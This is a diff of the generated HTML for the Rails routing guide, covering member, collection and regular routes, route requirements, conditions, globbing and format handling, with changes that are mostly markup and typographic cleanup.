-<div class="para"><p>Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use <tt>:get</tt>, <tt>:put</tt>, <tt>:post</tt>, <tt>:delete</tt>, or <tt>:any</tt> here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>preview <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This will enable Rails to recognize URLs such as <tt>/photos/1/preview</tt> using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a <tt>preview_photo</tt> route helper.</p></div>
+<div class="paragraph"><p>Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use <tt>:get</tt>, <tt>:put</tt>, <tt>:post</tt>, <tt>:delete</tt>, or <tt>:any</tt> here. You can also specify an array of methods, if you need more than one but you don&#8217;t want to allow just anything:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>prepare <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>prepare <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
<h4 id="_adding_collection_routes">3.11.2. Adding Collection Routes</h4>
-<div class="para"><p>To add a collection route, use the <tt>:collection</tt> option:</p></div>
+<div class="paragraph"><p>To add a collection route, use the <tt>:collection</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/search</tt> using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a <tt>search_photos</tt> route helper.</p></div>
-<div class="para"><p>Just as with member routes, you can specify an array of methods for a collection route:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This will enable Rails to recognize URLs such as <tt>/photos/search</tt> using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a <tt>search_photos</tt> route helper.</p></div>
+<div class="paragraph"><p>Just as with member routes, you can specify an array of methods for a collection route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
<h4 id="_adding_new_routes">3.11.3. Adding New Routes</h4>
-<div class="para"><p>To add a new route (one that creates a new resource), use the <tt>:new</tt> option:</p></div>
+<div class="paragraph"><p>To add a new route (one that creates a new resource), use the <tt>:new</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>upload <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/upload</tt> using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a <tt>upload_photos</tt> route helper.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>upload <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This will enable Rails to recognize URLs such as <tt>/photos/upload</tt> using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a <tt>upload_photos</tt> route helper.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1848,127 +1251,115 @@ http://www.gnu.org/software/src-highlite -->
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>any <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will allow the new action to be invoked by any request to <tt>photos/new</tt>, no matter what HTTP verb you use.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>any <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This will allow the new action to be invoked by any request to <tt>photos/new</tt>, no matter what HTTP verb you use.</p></div>
<h4 id="_a_note_of_caution">3.11.4. A Note of Caution</h4>
-<div class="para"><p>If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the <tt>:member</tt> and <tt>:collection</tt> hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.</p></div>
+<div class="paragraph"><p>If you find yourself adding many extra actions to a RESTful route, it&#8217;s time to stop and ask yourself whether you&#8217;re disguising the presence of another resource that would be better split off on its own. When the <tt>:member</tt> and <tt>:collection</tt> hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.</p></div>
</div>
<h2 id="_regular_routes_2">4. Regular Routes</h2>
<div class="sectionbody">
-<div class="para"><p>In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.</p></div>
-<div class="para"><p>While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing <em>when possible</em>, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.</p></div>
+<div class="paragraph"><p>In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don&#8217;t get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.</p></div>
+<div class="paragraph"><p>While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing <em>when possible</em>, because it will make parts of your application easier to write. But there&#8217;s no need to try to shoehorn every last piece of your application into a RESTful framework if that&#8217;s not a good fit.</p></div>
<h3 id="_bound_parameters">4.1. Bound Parameters</h3>
-<div class="para"><p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p></div>
+<div class="paragraph"><p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-</tt></pre></div></div>
-<div class="para"><p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>Photos</tt> controller, and to make the final parameter (1) available as <tt>params[:id]</tt>.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span></tt></pre></div></div>
+<div class="paragraph"><p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn&#8217;t matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>Photos</tt> controller, and to make the final parameter (1) available as <tt>params[:id]</tt>.</p></div>
<h3 id="_wildcard_components">4.2. Wildcard Components</h3>
-<div class="para"><p>You can set up as many wildcard symbols within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the matching action as part of the params hash. So, if you set up this route:</p></div>
+<div class="paragraph"><p>You can set up as many wildcard symbols within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the matching action as part of the params hash. So, if you set up this route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/:user_id'</span>
-</tt></pre></div></div>
-<div class="para"><p>An incoming URL of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be set to 2.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/:user_id'</span></tt></pre></div></div>
+<div class="paragraph"><p>An incoming URL of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be set to 2.</p></div>
<h3 id="_static_text">4.3. Static Text</h3>
-<div class="para"><p>You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:</p></div>
+<div class="paragraph"><p>You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/with_user/:user_id'</span>
-</tt></pre></div></div>
-<div class="para"><p>This route would respond to URLs such as <tt>/photos/show/1/with_user/2</tt>.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/with_user/:user_id'</span></tt></pre></div></div>
+<div class="paragraph"><p>This route would respond to URLs such as <tt>/photos/show/1/with_user/2</tt>.</p></div>
<h3 id="_querystring_parameters">4.4. Querystring Parameters</h3>
-<div class="para"><p>Rails routing automatically picks up querystring parameters and makes them available in the <tt>params</tt> hash. For example, with this route:</p></div>
+<div class="paragraph"><p>Rails routing automatically picks up querystring parameters and makes them available in the <tt>params</tt> hash. For example, with this route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-</tt></pre></div></div>
-<div class="para"><p>An incoming URL of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be equal to 2.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span></tt></pre></div></div>
+<div class="paragraph"><p>An incoming URL of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be equal to 2.</p></div>
<h3 id="_defining_defaults">4.5. Defining Defaults</h3>
-<div class="para"><p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply defaults for these two parameters in a hash:</p></div>
+<div class="paragraph"><p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply defaults for these two parameters in a hash:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photos/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span>
-</tt></pre></div></div>
-<div class="para"><p>With this route, an incoming URL of <tt>/photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller.</p></div>
-<div class="para"><p>You an also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photos/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span></tt></pre></div></div>
+<div class="paragraph"><p>With this route, an incoming URL of <tt>/photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller.</p></div>
+<div class="paragraph"><p>You an also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photos/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>defaults <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>format <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'jpg'</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>With this route, an incoming URL of <tt>photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller, and <tt>params[:format]</tt> will be set to <tt>jpg</tt>.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photos/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>defaults <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>format <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'jpg'</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>With this route, an incoming URL of <tt>photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller, and <tt>params[:format]</tt> will be set to <tt>jpg</tt>.</p></div>
<h3 id="_named_routes_2">4.6. Named Routes</h3>
-<div class="para"><p>Regular routes need not use the <tt>connect</tt> method. You can use any other name here to create a <em>named route</em>. For example,</p></div>
+<div class="paragraph"><p>Regular routes need not use the <tt>connect</tt> method. You can use any other name here to create a <em>named route</em>. For example,</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>logout <span style="color: #FF0000">'/logout'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'destroy'</span>
-</tt></pre></div></div>
-<div class="para"><p>This will do two things. First, requests to <tt>/logout</tt> will be sent to the <tt>destroy</tt> method of the <tt>Sessions</tt> controller. Second, Rails will maintain the <tt>logout_path</tt> and <tt>logout_url</tt> helpers for use within your code.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>logout <span style="color: #FF0000">'/logout'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'destroy'</span></tt></pre></div></div>
+<div class="paragraph"><p>This will do two things. First, requests to <tt>/logout</tt> will be sent to the <tt>destroy</tt> method of the <tt>Sessions</tt> controller. Second, Rails will maintain the <tt>logout_path</tt> and <tt>logout_url</tt> helpers for use within your code.</p></div>
<h3 id="_route_requirements">4.7. Route Requirements</h3>
-<div class="para"><p>You can use the <tt>:requirements</tt> option to enforce a format for any parameter in a route:</p></div>
+<div class="paragraph"><p>You can use the <tt>:requirements</tt> option to enforce a format for any parameter in a route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This route would respond to URLs such as <tt>/photo/A12345</tt>. You can more succinctly express the same route this way:</p></div>
+ <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This route would respond to URLs such as <tt>/photo/A12345</tt>. You can more succinctly express the same route this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span>
-</tt></pre></div></div>
+ <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span></tt></pre></div></div>
<h3 id="_route_conditions">4.8. Route Conditions</h3>
-<div class="para"><p>Route conditions (introduced with the <tt>:conditions</tt> option) are designed to implement restrictions on routes. Currently, the only supported restriction is <tt>:method</tt>:</p></div>
+<div class="paragraph"><p>Route conditions (introduced with the <tt>:conditions</tt> option) are designed to implement restrictions on routes. Currently, the only supported restriction is <tt>:method</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>As with conditions in RESTful routes, you can specify <tt>:get</tt>, <tt>:post</tt>, <tt>:put</tt>, <tt>:delete</tt>, or <tt>:any</tt> for the acceptable method.</p></div>
+ <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>As with conditions in RESTful routes, you can specify <tt>:get</tt>, <tt>:post</tt>, <tt>:put</tt>, <tt>:delete</tt>, or <tt>:any</tt> for the acceptable method.</p></div>
<h3 id="_route_globbing">4.9. Route Globbing</h3>
-<div class="para"><p>Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example</p></div>
+<div class="paragraph"><p>Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/*other'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'unknown'</span><span style="color: #990000">,</span>
-</tt></pre></div></div>
-<div class="para"><p>This route would match <tt>photo/12</tt> or <tt>/photo/long/path/to/12</tt> equally well, creating an array of path segments as the value of <tt>params[:other]</tt>.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/*other'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'unknown'</span><span style="color: #990000">,</span></tt></pre></div></div>
+<div class="paragraph"><p>This route would match <tt>photo/12</tt> or <tt>/photo/long/path/to/12</tt> equally well, creating an array of path segments as the value of <tt>params[:other]</tt>.</p></div>
<h3 id="_route_options">4.10. Route Options</h3>
-<div class="para"><p>You can use <tt>:with_options</tt> to simplify defining groups of similar routes:</p></div>
+<div class="paragraph"><p>You can use <tt>:with_options</tt> to simplify defining groups of similar routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1978,22 +1369,20 @@ http://www.gnu.org/software/src-highlite -->
photo<span style="color: #990000">.</span>list <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'index'</span>
photo<span style="color: #990000">.</span>delete <span style="color: #FF0000">':id/delete'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'delete'</span>
photo<span style="color: #990000">.</span>edit <span style="color: #FF0000">':id/edit'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'edit'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The importance of <tt>map.with_options</tt> has declined with the introduction of RESTful routes.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The importance of <tt>map.with_options</tt> has declined with the introduction of RESTful routes.</p></div>
</div>
<h2 id="_formats_and_respond_to">5. Formats and respond_to</h2>
<div class="sectionbody">
-<div class="para"><p>There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special <tt>:format</tt> parameter in the route.</p></div>
-<div class="para"><p>For instance, consider the second of the default routes in the boilerplate <tt>routes.rb</tt> file:</p></div>
+<div class="paragraph"><p>There&#8217;s one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special <tt>:format</tt> parameter in the route.</p></div>
+<div class="paragraph"><p>For instance, consider the second of the default routes in the boilerplate <tt>routes.rb</tt> file:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>This route matches requests such as <tt>/photo/edit/1.xml</tt> or <tt>/photo/show/2.rss</tt>. Within the appropriate action code, you can issue different responses depending on the requested format:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
+<div class="paragraph"><p>This route matches requests such as <tt>/photo/edit/1.xml</tt> or <tt>/photo/show/2.rss</tt>. Within the appropriate action code, you can issue different responses depending on the requested format:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2002,73 +1391,67 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt>respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># return the default template for HTML</span></span>
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@photo</span><span style="color: #990000">.</span>to_xml <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_specifying_the_format_with_an_http_header">5.1. Specifying the Format with an HTTP Header</h3>
-<div class="para"><p>If there is no <tt>:format</tt> parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.</p></div>
+<div class="paragraph"><p>If there is no <tt>:format</tt> parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.</p></div>
<h3 id="_recognized_mime_types">5.2. Recognized MIME types</h3>
